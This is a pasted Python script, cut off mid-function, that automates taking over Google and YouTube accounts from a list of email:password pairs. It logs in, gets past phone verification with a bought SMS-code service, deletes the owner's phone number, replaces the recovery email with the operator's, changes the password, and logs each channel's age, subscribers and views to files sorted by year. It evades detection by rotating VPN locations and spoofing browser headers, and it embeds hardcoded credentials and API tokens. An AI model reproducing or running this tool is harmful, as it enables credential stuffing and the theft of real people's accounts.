· 11 years ago · Jul 22, 2015, 09:17 PM
1
2import pyautogui, pyperclip, names, requests
3import telnetlib
4from selenium import webdriver
5from selenium.webdriver.support.ui import WebDriverWait
6
7from random import randint
8from pushover import init, Client
9
10import time, random, string, os, subprocess
11from bs4 import BeautifulSoup
12
13currentdir = os.path.dirname(os.path.realpath(__file__))
14
15with open(os.path.join(currentdir, "info" , "server.txt")) as f:
16 server = f.readlines()
17
18ip = server[0].rstrip("\n")
19ACCOUNT_SID = server[1].rstrip("\n")
20AUTH_TOKEN = server[2].rstrip("\n")
21defaultEmail = "tqmedia01@gmail.com"
22defaulPassword = "tqmedia01"
23
24#api4 = "http://api4.verificationcode.net/order?token=714f25c39711a5bc3eb769166aedf68bea9434b9285758a58fdc4a10c15ece8f"
25#api4 = "http://api4.verificationcode.net/order?token=1c1bab2f7fb4aedf94cdbfb4244e194900dfab291cb5d26503131992d9a1b1e7"
26api4 = "http://api4.verificationcode.net/order?token=318e991607d0d91bc89d9ee2d772969c91bc5f475f68178af979d032646fe2fd"
27
28#cities = ["Austin", "Chicago", "Los Angeles", "Miami", "New York", "San Francisco", "Seattle", "Washington"]
29cities = ["Ireland", "Portugal", "Belgium", "Netherlands", "Luxembourg", "Denmark", "Sweden", "Iceland", "Russia", "Romania", "Norway", "United Kingdom", "Lithuania", "Italy", "Spain", "Finland", "Czech Republic", "Austria", "Germany", "France", "Switzerland", "Poland"]
30
31init("aYDXEfotLvLtwy6hmf14kTPJWwr3nG")
32
33#########################################################
34################## CLICK FUNCTIONS ######################
35#########################################################
36
37def sc(x, y):
38 try:
39 pyautogui.moveTo(x, y, 0.2)
40 pyautogui.click()
41 except:
42 pass
43
44def dc(x, y):
45 try:
46 pyautogui.moveTo(x, y, 0.2)
47 pyautogui.doubleClick()
48 except:
49 pass
50
51def paste():
52 try:
53 return pyperclip.paste()
54 except:
55 pass
56def push(title, message):
57 Client("uD24S65yVEbMXKPmVx1HX8Pjccm8jy").send_message(message, title=title)
58
59#########################################################
60#################### WEB FUNCTIONS ######################
61#########################################################
62
63def goTo(website):
64 pyautogui.hotkey('alt', 'd')
65 pyautogui.typewrite(website, interval=0.01)
66 pyautogui.press('enter')
67
68def goToGmail():
69 goTo("mail.google.com/mail/u/0/h/")
70 time.sleep(4)
71
72def goToEditSecond():
73 pyautogui.press('enter')
74 time.sleep(3.5)
75 goTo("accounts.google.com/b/0/EditUserInfo?hl=en")
76 time.sleep(5)
77 pyautogui.press('enter')
78
79def deletePhone():
80 time.sleep(3.5)
81 goTo("https://myaccount.google.com/phone?utm_source=OGB&pli=1&hl=en")
82 time.sleep(7)
83 text = getBody()
84 if not 'is used to reach' in text:
85 sc(1265, 388)
86 time.sleep(3)
87 sc(974, 763)
88 time.sleep(3)
89 sc(974, 715)
90 time.sleep(3)
91
92def goToChaneMyPass():
93 goTo("accounts.google.com/b/0/EditPasswd?continue=https://myaccount.google.com/&hl=en")
94 time.sleep(3)
95
96def goToMyAccount():
97 goTo('myaccount.google.com/?hl=en')
98 pyautogui.press('enter')
99 time.sleep(3)
100
101def getUrl():
102 pyautogui.hotkey('ctrl', 'l')
103 pyautogui.hotkey('ctrl', 'c')
104 text = paste()
105 try:
106 text = str(text)
107 except:
108 getUrl()
109 return text
110
111def getBody():
112 sc(69, 801)
113 pyautogui.hotkey('ctrl', 'a')
114 pyautogui.hotkey('ctrl', 'c')
115 text = paste()
116 try:
117 text = str(text)
118 except:
119 getBody()
120 return text
121
122def getBodyYt():
123 sc(113, 957)
124 time.sleep(1)
125 pyautogui.hotkey('ctrl', 'a')
126 pyautogui.hotkey('ctrl', 'c')
127 text = paste()
128 try:
129 text = str(text)
130 except:
131 getBody()
132 return text
133
134
135
136#########################################################
137################### GOOGLE FUNCTIONS ####################
138#########################################################
139
140def goGoogle():
141 pyautogui.hotkey('ctrl', 'l')
142 pyautogui.typewrite('accounts.google.com/ServiceLogin?&hl=en')
143 pyautogui.press('enter')
144 time.sleep(3)
145
146def loginGoogle(email, password):
147 goGoogle()
148 pyautogui.hotkey('ctrl', 'a')
149 pyautogui.press('delete')
150 pyautogui.typewrite(email)
151 pyautogui.press('enter')
152 time.sleep(2.5)
153 pyautogui.typewrite(password)
154 pyautogui.press('enter')
155
156def setNewPass():
157 os.startfile(os.path.join(currentdir, "helpers" , "savenewpass.exe"))
158 time.sleep(7)
159
160
161def manuel(expassword, password):
162 goToEditSecond()
163 time.sleep(2)
164 pyautogui.moveTo(1616, 406, 1)
165
166 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
167 if(button7location != None):
168 buttonx, buttony = pyautogui.center(button7location)
169 pyautogui.click(buttonx, buttony)
170
171 text = getBody()
172 goToEditSecondEmail(text)
173
174 text = text.replace("\n", " ")
175 texts = text.split(" ")
176
177 gmail = ""
178 for t in texts:
179 if("@gmail" in t):
180 gmail = t.replace("\n", "").replace("\t", "")
181 break
182
183
184 deletePhone()
185 time.sleep(3)
186 goTo("https://security.google.com/settings/security/signinoptions/rescueemail?hl=en")
187 time.sleep(4)
188 link = getUrl()
189
190 if("ServiceLogin" in link):
191 sc(865, 446)
192 pyautogui.typewrite(expassword)
193 time.sleep(2)
194 sc(979,502)
195 time.sleep(4)
196
197 sc(906, 313)
198 pyautogui.hotkey('ctrl', 'a')
199 pyautogui.typewrite(defaultEmail)
200
201 sc(1247, 356)
202 sc(1247, 356)
203
204 time.sleep(2)
205 goToChaneMyPass()
206
207 sc(860, 447)
208 sc(860, 447)
209 pyautogui.typewrite(expassword)
210 pyautogui.press('enter')
211 time.sleep(5)
212 pyautogui.typewrite(password)
213 pyautogui.press('tab')
214 pyautogui.press('tab')
215 pyautogui.press('tab')
216 time.sleep(1)
217 pyautogui.typewrite(password)
218 pyautogui.press('tab')
219 pyautogui.press('tab')
220 time.sleep(1)
221 pyautogui.press('enter')
222
223 return str(gmail) + ":" + password
224
225def goToEditSecondEmail(text):
226 pyautogui.press('enter')
227 if "First name" in text:
228 dc(627, 247)
229 pyautogui.hotkey('ctrl', 'a')
230 pyautogui.typewrite(randName)
231 pyautogui.press('tab')
232 pyautogui.typewrite(randSname)
233 os.startfile(os.path.join(currentdir, "helpers" , "secondname.exe"))
234 time.sleep(10)
235 else:
236 os.startfile(os.path.join(currentdir, "helpers" , "secondnoname.exe"))
237 time.sleep(5)
238
239def whereIsGmail(fakeName):
240
241 pyautogui.moveTo(550,560)
242 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
243 if(button7location != None):
244 buttonx, buttony = pyautogui.center(button7location)
245 pyautogui.click(buttonx, buttony)
246 else:
247 pyautogui.moveTo(1899,83, 2)
248 sc(1899,83)
249
250 dc(1132, 255)
251 pyautogui.typewrite(fakeName, interval=0.10)
252 time.sleep(1)
253 sc(1112, 326)
254 time.sleep(2)
255 dc(1135, 285)
256 pyautogui.hotkey('ctrl', 'c')
257 text = paste()
258 try:
259 text = str(text)
260 except:
261 text = ""
262
263 if("Someone" in text or "Please" in text):
264 return 2
265 elif ("Your" in text):
266 return 3
267 return 1
268
269
270def registerGmail(fakeName, fakeSurname, flag):
271
272 if(flag == 1):
273 pyautogui.doubleClick(1133, 255)
274 pyautogui.typewrite(fakeName, interval=0.10)
275 time.sleep(0.3)
276 pyautogui.press('tab')
277 pyautogui.typewrite(fakeSurname, interval=0.10)
278 time.sleep(0.3)
279 email = fakeName + fakeSurname + str(randint(3000,9999))
280 email = email.lower()
281 pyautogui.press('tab')
282 pyautogui.typewrite("johnmiller", interval=0.10)
283 time.sleep(0.3)
284 pyautogui.press('tab')
285 pyautogui.press('tab')
286 pyautogui.press('delete')
287 pyautogui.press('tab')
288 time.sleep(0.3)
289 pyautogui.press('delete')
290 pyautogui.typewrite(defaultEmail, interval=0.10)
291 pyautogui.press('enter')
292 time.sleep(2)
293 pyautogui.click(1211,378)
294 time.sleep(1)
295 pyautogui.moveTo(1154,326)
296 pyautogui.doubleClick()
297 time.sleep(2)
298 pyautogui.hotkey('ctrl', 'c')
299 gmail = paste()
300 jc = 0
301
302 while "johnmiller" == gmail and jc < 3:
303 pyautogui.click(1211,380)
304 pyautogui.moveTo(1154,326)
305 pyautogui.doubleClick()
306 pyautogui.hotkey('ctrl', 'c')
307 gmail = paste()
308 jc += 1
309
310 pyautogui.press('enter')
311 return str(gmail) + "@gmail.com"
312
313 elif(flag == 0):
314 dc(1161,255)
315 pyautogui.click()
316 time.sleep(1)
317 pyautogui.typewrite("johnmiller", interval=0.45)
318 time.sleep(2)
319 sc(1231,382)
320 time.sleep(1)
321 sc(1236,308)
322 time.sleep(1)
323 pyautogui.moveTo(1161,251)
324 pyautogui.doubleClick()
325 pyautogui.hotkey('ctrl', 'c')
326 gmail = paste()
327 time.sleep(1)
328 pyautogui.press('tab')
329 time.sleep(1)
330 pyautogui.press('tab')
331 time.sleep(1)
332 pyautogui.press('delete')
333 pyautogui.press('tab')
334 time.sleep(1)
335 pyautogui.press('delete')
336 pyautogui.typewrite(defaultEmail, interval=0.30)
337 time.sleep(1)
338 pyautogui.press('enter')
339 return str(gmail) + "@gmail.com"
340 else:
341 dc(1148, 255)
342 pyautogui.hotkey('ctrl', 'c')
343 gmail = paste()
344 sc(1193, 349)
345 pyautogui.hotkey('ctrl', 'a')
346 pyautogui.press('delete')
347 pyautogui.press('tab')
348 time.sleep(1)
349 pyautogui.press('delete')
350 pyautogui.typewrite(defaultEmail, interval=0.30)
351 time.sleep(1)
352 pyautogui.press('enter')
353 return str(gmail) + "@gmail.com"
354
355def changeAccountInfo(expassword, password, text):
356 goToEditSecondEmail(text)
357
358 t0 = time.clock()
359 url = getUrl()
360
361 while("EditUserInfo" in url):
362 if(time.clock() - t0 > 20):
363 return
364 text = getBody()
365 goToEditSecondEmail(text)
366 url = getUrl()
367
368 time.sleep(3)
369
370 deletePhone()
371 goToChaneMyPass()
372
373 time.sleep(4)
374 pyautogui.typewrite(expassword)
375 pyautogui.press('enter')
376 time.sleep(5)
377 pyautogui.typewrite(password)
378 pyautogui.press('tab')
379 pyautogui.press('tab')
380 pyautogui.press('tab')
381 time.sleep(1)
382 pyautogui.typewrite(password)
383 pyautogui.press('tab')
384 pyautogui.press('tab')
385 time.sleep(1)
386 pyautogui.press('enter')
387 return password
388
389#########################################################
390################### PHONE FUNCTIONS #####################
391#########################################################
392
393def enterPhone(phone):
394 pyautogui.typewrite(phone, interval=0.10)
395 pyautogui.press('enter')
396
397def openPhone(phone):
398 try:
399 # spoof some headers so the request appears to be coming from a browser, not a bot
400 headers = {
401 "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5)",
402 "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
403 "accept-charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3",
404 "accept-encoding": "gzip,deflate,sdch",
405 "accept-language": "en-US,en;q=0.8",
406 }
407
408 # make the request to the search url, passing in the the spoofed headers.
409 r = requests.get(api4, headers=headers) # assign the response to a variable r
410
411 # check the status code of the response to make sure the request went well
412 if r.status_code != 200:
413 print("request denied")
414 return
415 else:
416 pass
417
418 # convert the plaintext HTML markup into a DOM-like structure that we can search
419 soup = BeautifulSoup(r.text)
420
421 # each result is an <li> element with class="g" this is our wrapper
422 results = soup.findAll("td")
423
424 for i in range(len(results)):
425 if phone in results[i]:
426 c = str(results[i+3]).lstrip("<td>").rstrip("</td>")
427 code = c.split(" ")[5]
428 return code
429 return ""
430 except:
431 return ""
432def enterCode(code):
433 sc(742,382)
434 pyautogui.typewrite(code, interval=0.10)
435 pyautogui.press('enter')
436#########################################################
437################## YOUTUBE FUNCTIONS ####################
438#########################################################
439
440
441def setYoutubeDriver():
442 #changeProxy()
443 global driver
444 driver = webdriver.Firefox()
445 driver.maximize_window()
446 return driver
447
448
449def loginYoutube(email, password):
450 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
451 time.sleep(3)
452 put(".//*[@id='Email']", email)
453 fbxpath(".//*[@id='next']").click()
454 put(".//*[@id='Passwd']", password)
455 fbxpath(".//*[@id='signIn']").click()
456 time.sleep(8)
457
458def isPicassa():
459 cbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "continue.png"))
460 okbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "ok.png"))
461
462 if(cbutton != None and okbutton == None):
463 return 0
464 elif(cbutton == None and okbutton != None):
465 return 1
466 else:
467 return 2
468
469def regYoutube():
470 time.sleep(12)
471
472 sc(1200, 645)
473 text = None
474 while text == None:
475 pyautogui.hotkey('ctrl', 'a')
476 pyautogui.hotkey('ctrl', 'c')
477 text = paste()
478
479 if "Picasa" in text:
480 os.startfile(os.path.join(currentdir, "helpers" , "picasa.exe"))
481 time.sleep(15)
482 return
483
484 flag = isPicassa()
485 if (flag == 1):
486 time.sleep(2)
487 sc(1175, 690)
488 return
489
490 elif(flag == 0):
491 os.startfile(os.path.join(currentdir, "helpers" , "flag0.exe"))
492 time.sleep(15)
493 return
494
495 if(flag == 2):
496 sc(651, 704)
497 sc(666, 556)
498 sc(666, 556)
499 time.sleep(1)
500 pyautogui.moveTo(958, 792, 2)
501 pyautogui.click(958, 792)
502
503
504def addToYoutube(info):
505 try:
506 sorunlu = open(os.path.join(currentdir, "info" , "server.txt"), "a")
507 sorunlu.write(info + "\n")
508 sorunlu.close()
509 except:
510 print("Dosya acilamadi")
511
512def addToTekrar(info):
513 try:
514 sorunlu = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
515 sorunlu.write(info + "\n")
516 sorunlu.close()
517 except:
518 print("Dosya acilamadi")
519
520def fbxpath(xpath):
521 try:
522 return WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
523 except:
524 return False
525
526def put(xpath, toSend):
527 try:
528 to = WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
529 time.sleep(1)
530 to.send_keys(toSend)
531 except:
532 return False
533
534def isShowed(xpath):
535 try:
536 WebDriverWait(driver, 7).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
537 return True
538 except:
539 return False
540
541def createYoutube(email, password):
542 driver.get("https://www.youtube.com/my_videos?o=U")
543 time.sleep(8)
544 text = getBody()
545
546 if("Help us keep your account secure" in text
547 or "Cookies help" in text):
548 driver.get("https://www.youtube.com/my_videos?o=U")
549 time.sleep(7)
550 text = getBody()
551
552 if "Don't get locked out" in text:
553 sc(980, 713)
554 sc(980, 713)
555 sc(980, 713)
556 time.sleep(7)
557 driver.get("https://www.youtube.com/my_videos?o=U")
558 time.sleep(7)
559
560 if "oops" in driver.current_url:
561 time.sleep(2)
562 driver.get("https://www.youtube.com/my_videos?o=U")
563
564 if "Use YouTube as..." in text:
565 sc(866 ,526)
566 driver.get("https://www.youtube.com/my_videos?o=U")
567 time.sleep(10)
568 text = getBody()
569
570 if "Create a channel" in text:
571 flag = 0
572 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
573 regYoutube()
574
575 elif "YouTube channel has content but has been disabled" in text:
576 fbxpath(".//*[@id='vm-general-notifs']/div/div[2]/div/a[1]")
577 time.sleep(3)
578 regYoutube()
579 else:
580 flag = 1
581
582 driver.get("https://www.youtube.com/analytics?o=U")
583 t0 = time.clock()
584
585 while "my_videos" in driver.current_url:
586 if time.clock() - t0 > 25:
587 addToYoutube(email +":" + password)
588 return False
589 time.sleep(2)
590 sc(1875, 91)
591 time.sleep(1)
592 sc(1853, 280)
593 time.sleep(3)
594 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
595 time.sleep(5)
596 pyautogui.typewrite(password)
597 sc(990, 580)
598 time.sleep(2)
599 url = driver.current_url
600 while("ServiceLogin" in url):
601 pyautogui.typewrite(password)
602 sc(990, 580)
603 time.sleep(2)
604 url = driver.current_url
605 driver.get("https://www.youtube.com/my_videos?o=U")
606 try:
607 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
608 except:
609 driver.get("https://www.youtube.com/dashboard?o=U")
610 break
611 time.sleep(4)
612 sc(1170, 690)
613 driver.get("https://www.youtube.com/analytics?o=U")
614
615 time.sleep(10)
616 if "dashboard" not in driver.current_url:
617 driver.get("https://www.youtube.com/dashboard?o=U")
618 time.sleep(10)
619 try:
620 date = fbxpath(".//*[@id='gwt-debug-metadataList']/span[1]").text.lstrip("Created: ").replace(",", "")
621 except:
622 date = "kontroledilecek"
623
624 driver.get("https://www.youtube.com/dashboard?o=U")
625 try:
626 subscriber = fbxpath(".//*[@id='dashboard-header-stats']/li[2]/div[1]").text
627 views = fbxpath(".//*[@id='dashboard-header-stats']/li[1]/div[1]").text
628 except:
629 return
630 if len(views) > 7:
631 push("Yuksek izlenme!", "Kontrol etmelisin.. Ip: " + ip)
632 fbxpath(".//*[@id='dashboard-header-user-name-and-label']/h2/a").click()
633 time.sleep(2)
634 channelUrl = driver.current_url
635
636 if("2005" in date):
637 dateFile = 2005
638 elif("2006" in date):
639 dateFile = 2006
640 elif("2007" in date):
641 dateFile = 2007
642 elif("2008" in date):
643 dateFile = 2008
644 elif("2009" in date):
645 dateFile = 2009
646 elif("2010" in date):
647 dateFile = 2010
648 elif("2011" in date):
649 dateFile = 2011
650 elif("2012" in date):
651 dateFile = 2012
652 elif("2013" in date):
653 dateFile = 2013
654 elif("2014" in date):
655 dateFile = 2014
656 elif("2015" in date):
657 dateFile = 2015
658 else:
659 dateFile = "kontroledilecek"
660 print(str(date))
661 saveYoutube(email, password, channelUrl, dateFile, date, subscriber, views)
662
663
664def saveYoutube(email, password, url, dateFile, date, subscriber, views):
665 try:
666 info = str(email) + "::" + str(password).rstrip("\n") + "::" + str(url) + "::" + str(date) + "::" + str(subscriber) + "::" + str(views) + "::" + defaultEmail
667 hesaplar = open(os.path.join(currentdir, "save" , str(dateFile) + ".txt"), "a")
668 hesaplar.write(info + "\n")
669 hesaplar.close()
670 except:
671 print("Dosya acilamadi.")
672
673#########################################################
674#################### SAVE FUNCTIONS #####################
675#########################################################
676
677def addToGmail(info):
678 try:
679 hesaplar = open(os.path.join(currentdir, "save" , "gmail.txt"), "a")
680 hesaplar.write(info + "\n")
681 hesaplar.close()
682 except:
683 print("Dosya acilamadi.")
684
685def addToCop(info):
686 try:
687 cop = open(os.path.join(currentdir, "source" , "cop.txt"), "a")
688 cop.write(info[0] + ":" + info[1])
689 cop.close()
690 except:
691 print("Dosya acilamadi.")
692
693def addToOzel(info):
694 try:
695 ozel = open(os.path.join(currentdir, "source" , "ozel.txt"), "a")
696 ozel.write(info[0] + ":" + info[1])
697 ozel.close()
698 except:
699 print("Dosya acilamadi.")
700
701def addToTekrar(info):
702 try:
703 ozel = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
704 ozel.write(info[0] + ":" + info[1])
705 ozel.close()
706 except:
707 print("Dosya acilamadi.")
708def addToTekrarYT(info):
709 try:
710 ozel = open(os.path.join(currentdir, "save" , "tekraryt.txt"), "a")
711 ozel.write(info)
712 ozel.close()
713 except:
714 print("Dosya acilamadi.")
715
716def addToCaptcha(info):
717 try:
718 ozel = open(os.path.join(currentdir, "source" , "captcha.txt"), "a")
719 ozel.write(info[0] + ":" + info[1])
720 ozel.close()
721 except:
722 print("Dosya acilamadi.")
723
724def addToYoutube(info):
725 try:
726 sorunlu = open(os.path.join(currentdir, "save" , "tekrardenenecekyoutube.txt"), "a")
727 sorunlu.write(info + "\n")
728 sorunlu.close()
729 except:
730 print( "Dosya acilamadi")
731
732def updateList(i):
733 try:
734
735 with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'w') as fout:
736 fout.writelines(content[i+1:])
737 except:
738 print("Dosya acilamadi.")
739
740
741#########################################################
742################## DRIVER FUNCTIONS #####################
743#########################################################
744
745def createDriver():
746 pyperclip.copy('')
747 global loginC
748 loginC = 0
749 os.system("taskkill /f /t /im firefox.exe")
750 changeProxy()
751 os.startfile("C:\\\Program Files (x86)\\\Mozilla Firefox\\firefox.exe")
752 time.sleep(7)
753
754def changeProxy():
755
756 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
757 # Path to OpenVPN program
758 vypr_bin = "C:\\Program Files\\OpenVPN\\bin\\openvpn.exe"
759 # Path to username/password
760 vypr_auth = "C:\\Users\\Administrator\\Desktop\\youtube\\vypr_auth.txt"
761 # Path to config file. What's server do you want connect to?
762
763 vpn_mgt_host = "127.0.0.1"
764 vpn_mgt_port = "7777"
765 c = random.randint(0, 7)
766 vypr_conf = "C:\\Users\\Administrator\\Desktop\\youtube\\config\\USA - " + cities[c] + ".ovpn"
767 vpn_params = [vypr_bin, "--management", vpn_mgt_host, vpn_mgt_port,
768 "--management-hold", "--config", vypr_conf,
769 "--auth-user-pass", vypr_auth, "--log", "C:\\Users\\Administrator\\Desktop\\youtube\\info\\openvpn.log"]
770
771 # Delete all tap devices
772 subprocess.call("deltapall.bat", shell=True)
773
774 # Add tap devices
775 subprocess.call("addtap.bat", shell=True)
776
777 # Run OpenVPN daemon but management hold
778 prog = subprocess.Popen(vpn_params, shell=True,
779 stdin=None, stdout=None, stderr=None, close_fds=True)
780
781 # vpn_pid = prog.pid
782
783 # Connect to OpenVPN management daemon
784 tn = telnetlib.Telnet(vpn_mgt_host, vpn_mgt_port)
785 # Turn on log
786 tn.write(("log on\r\n").encode('ascii'))
787 time.sleep(1)
788 # Hold release
789 tn.write(("hold release\r\n").encode('ascii'))
790 time.sleep(2)
791 # Waiting to OpenVPN connected
792 time.sleep(15)
793 print ("Connected to " + cities[c])
794
795def endSession():
796 pyautogui.hotkey('alt', 'f4')
797 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
798 time.sleep(5)
799 updateList(i)
800 createDriver()
801
802def checkSuccess(failC, sucC, loginC):
803 if loginC > 30:
804 endSession()
805 if i % 50 != 0:
806 return
807 try:
808 failRate = failC / sucC
809 except:
810 failRate = failC
811
812 if failRate > 49:
813 updateList(i)
814
815with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'r') as f:
816 content = f.read().splitlines(True)
817with open(os.path.join(currentdir, "info" , "telefonlar.txt"), 'r') as f:
818 phones = f.read().splitlines(True)
819######################################################
820
821failC = 0
822sucC = 0
823
824k = 0
825p = 0
826print(str(len(content)) + " adet hesap var.")
827createDriver()
828try:
829 for i in range(len(content)):
830 checkSuccess(failC, sucC, loginC)
831 try:
832 info = content[i].split(":")
833 email = info[0]
834 password = info[1].rstrip("\n")
835 if(len(password) < 6 or "@" not in email):
836 continue
837 print("Kullanci Adi: " + email + "\n" + "Sifre: " + password)
838 print("Succes: " + str(sucC) + " Fail: " + str(failC))
839 chars = string.ascii_letters + string.digits
840 newPass = ''.join(random.SystemRandom().choice(chars) for i in range(10))
841 randName = names.get_first_name(gender='male')
842 randSname = names.get_last_name()
843 except:
844 addToOzel(content[i].split(":"))
845 time.sleep(2)
846 continue
847 try:
848 phone = phones[p].rstrip("\n")
849 except:
850 p = 0
851 phone = phones[p].rstrip("\n")
852
853 try:
854 loginGoogle(email, password)
855 loginC += 1
856 except:
857 addToCop(info)
858 continue
859
860 if "gmail" in email:
861 time.sleep(6)
862 else:
863 time.sleep(3)
864 text = getBody()
865
866 if("One account. All of Google." in text
867 or "Sorry, Google doesn't recognize" in text
868 or "Your Google Account is managed by" in text
869 or "Sorry, we can't process" in text
870 or "Google" not in text
871 or "We've detected unusual activity" in text
872 or "2-Step verification" in text
873 ):
874
875 if("Letters are" in text or "Firefox" in text):
876 addToCaptcha(info)
877 endSession()
878 k = 0
879 continue
880 elif "privacy reminder" in text:
881 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
882 time.sleep(5)
883 else:
884 addToCop(info)
885 failC += 1
886 k = 0
887 continue
888 elif ("Letters are" in text):
889 addToCaptcha(info)
890 k = 0
891 endSession()
892 continue
893 elif "Please re-enter" in text:
894 addToOzel(content[i-1].split(":"))
895 endSession()
896 elif "Firefox" in text:
897 addToCaptcha(info)
898 k = 0
899 endSession()
900 elif "Google" not in text:
901 addToCop(info)
902 failC += 1
903 k = 0
904 continue
905 else:
906 time.sleep(3)
907 url = getUrl()
908
909 url = getUrl()
910 if "privacyreminder" in url:
911 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
912 time.sleep(7)
913 url = getUrl()
914
915 if "VerifiedPhoneInterstitial" in url:
916 time.sleep(2)
917 sc(1113,800)
918 time.sleep(5)
919 url = getUrl()
920
921 elif not "google" in url:
922 addToCop(info)
923 failC += 1
924 continue
925
926 elif "LoginVerification" in url:
927 text = getBody()
928 if("Tell us the city" in text
929 or "Answer your secret question" in text
930 or "Enter your recovery" in text
931 or "Android" in text
932 or "Receive a verification" in text
933 or "Tell us your phone number" in text):
934 if("Enter a phone" not in text
935 or "Sorry, we can't process" in text):
936 addToCop(info)
937 failC += 1
938 continue
939 if "Tell us the city" in text:
940 sc(747, 452)
941 else:
942 sc(745,427)
943 enterPhone(phone)
944 time.sleep(4)
945 text = getBody()
946 sc(758, 618)
947
948 while "already" in text :
949 p += 1
950 if(p == len(phones)):
951 p = 0
952 phone = phones[p].rstrip("\n")
953 sc(742,382)
954 pyautogui.hotkey('ctrl', 'a')
955 pyautogui.press('delete')
956 code = openPhone(phone)
957 enterCode(code)
958 time.sleep(5)
959 text = getBody()
960 sc(758, 618)
961 if "until in text":
962 continue
963
964 cC = 0
965 while cC < 3:
966 sc(742,382)
967 pyautogui.hotkey('ctrl', 'a')
968 pyautogui.press('delete')
969 code = openPhone(phone)
970 enterCode(code)
971 time.sleep(5)
972 url = getUrl()
973 if not "LoginVerification" in url:
974 break
975 else:
976 time.sleep(6)
977 cC += 1
978
979
980 elif("ChangePassword" in url):
981 setNewPass()
982 newPass = defaulPassword + "\n"
983 password = defaulPassword + "\n"
984 goToGmail()
985
986 elif("google" not in url or "ServiceLoginAuth" in url):
987 addToCop(info)
988 failC += 1
989 continue
990
991 elif("RecycledEmailInterstitial" in url
992 or "AccountRecoveryOptionsPrompt" in url
993 or "myaccount" in url):
994 time.sleep(3)
995 goToGmail()
996
997 elif("EmailNotVerified" in url):
998 time.sleep(3)
999 goToGmail()
1000 time.sleep(4)
1001 url = getUrl()
1002 if("ServiceLogin" in url):
1003 sc(882,448)
1004 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1005 pyautogui.press('enter')
1006 time.sleep(4)
1007 url = getUrl()
1008 time.sleep(3)
1009
1010 else:
1011 print("-----RAPOR EDILMELI!!!!")
1012 addToOzel(info)
1013 endSession()
1014 continue
1015
1016 time.sleep(9)
1017 url = getUrl()
1018 time.sleep(1)
1019 try:
1020 sc(1899,83)
1021 except:
1022 pass
1023 if "privacyreminder" in url:
1024 sc(1231, 984)
1025 time.sleep(2)
1026 sc(1231, 984)
1027 time.sleep(5)
1028 goToGmail()
1029 time.sleep(5)
1030 url = getUrl()
1031 if("EmailNotVerified" in url):
1032 time.sleep(3)
1033 goToGmail()
1034 time.sleep(5)
1035 url = getUrl()
1036 if("ServiceLogin" in url):
1037 sc(882,448)
1038 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1039 pyautogui.press('enter')
1040 time.sleep(3)
1041 url = getUrl()
1042 time.sleep(6)
1043
1044 if("myaccount" in url):
1045 goToGmail()
1046 time.sleep(5)
1047 url = getUrl()
1048
1049 if("ServiceLogin" in url):
1050 sc(882,448)
1051 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1052 pyautogui.press('enter')
1053 time.sleep(3)
1054 url = getUrl()
1055
1056 if("AccountRecoveryOptionsPrompt" in url):
1057 addToTekrar(info)
1058 continue
1059
1060 if("mail/" in url):
1061 gmail = manuel(password, newPass)
1062 g = gmail.split(":")
1063 gmail = g[0]
1064 newPass = g[1]
1065
1066 elif("ChangePassword" in url):
1067
1068 setNewPass()
1069 newPass = defaulPassword + "\n"
1070 password = defaulPassword + "\n"
1071 time.sleep(8)
1072 goToGmail()
1073 time.sleep(5)
1074 url = getUrl()
1075 if("mail/" not in url):
1076 flag = whereIsGmail(randName)
1077 if(flag==1):
1078 gmail = registerGmail(randName, randSname, 1)
1079 goToEditSecond()
1080 text = getBody()
1081
1082 try:
1083 if(not "@gmail.com" in text):
1084 addToOzel(info)
1085 failC += 1
1086 endSession()
1087 continue
1088 except:
1089 pass
1090
1091 newPass = changeAccountInfo(password, newPass, text)
1092
1093 elif(flag==2):
1094 gmail = registerGmail(randName, randSname, 0)
1095 goToEditSecond()
1096 text = getBody()
1097
1098 try:
1099 if(not "@gmail.com" in text):
1100 addToOzel(info)
1101 failC += 1
1102 endSession()
1103 continue
1104 except:
1105 pass
1106
1107 newPass = changeAccountInfo(password, newPass, text)
1108
1109 elif(flag == 3):
1110 addToCop(info)
1111 failC += 1
1112 endSession()
1113 continue
1114 else:
1115 gmail = manuel(newPass, newPass)
1116 g = gmail.split(":")
1117 gmail = g[0]
1118 newPass = g[1]
1119
1120 elif("inbox" in url):
1121 gmail = manuel(password, newPass)
1122 g = gmail.split(":")
1123 gmail = g[0]
1124 newPass = g[1]
1125
1126 elif("AddMailService" in url):
1127 pyautogui.moveTo(1899,83)
1128 time.sleep(1)
1129 sc(1899,83)
1130 time.sleep(1)
1131 flag = whereIsGmail(randName)
1132 if(flag==1):
1133 gmail = registerGmail(randName, randSname, 1)
1134 goToEditSecond()
1135 text = getBody()
1136
1137 try:
1138 if(not "@gmail.com" in text):
1139 addToOzel(info)
1140 failC += 1
1141 endSession()
1142 continue
1143 except:
1144 pass
1145
1146 newPass = changeAccountInfo(password, newPass, text)
1147
1148 elif(flag==2):
1149 gmail = registerGmail(randName, randSname, 0)
1150
1151 goToEditSecond()
